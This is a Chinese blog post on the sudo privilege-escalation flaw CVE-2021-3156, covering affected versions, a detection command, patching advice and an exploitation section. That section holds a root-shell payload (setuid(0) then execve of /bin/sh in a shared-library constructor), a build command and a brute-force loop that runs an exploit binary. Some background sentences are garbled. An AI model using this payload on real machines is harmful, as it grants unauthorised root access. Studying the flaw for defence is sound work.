Linux sudo權限提升漏洞 CVE-2021-3156

漏洞背景

1月26日,Sudo發佈了一份安全通知,修復了類似Unix的操作系統在命令參數中避免反斜槓時基於堆的緩衝區溢出漏洞。漏洞等級:高危,漏洞評分:7.0。當sudo在shell模式下通過-s或-i命令行選項運行命令時,它使用反斜槓來轉義命令參數中的特殊字符。但是,當使用-s或-i標誌運行sudodit時,實際上不會轉義,這可能導致緩衝區溢出。只要sudoers文件(通常是/etc/sudoers)存在,攻擊者就可以使用sudo來使用本地普通用戶獲得系統根權限。

漏洞影響版本

受影響版本

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影響版本

sudo =>1.9.5p2

漏洞檢測

用戶可以使用非root的賬戶登錄系統,運行“ sudoedit -s / ”命令。

若返回如圖以“ sudoedit:”開頭的錯誤,則當前系統可能存在安全風險。
不受影響的系統將顯示以“ usage:”開頭的錯誤響應。

漏洞利用

環境

#la.c
static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}

執行:

gcc -fpic -shared -nostdlib -o X.so.2  la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

漏洞修復

1、下載升級sudo軟件包

2、對於無法立即更新的用戶,建議使用systemtap

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章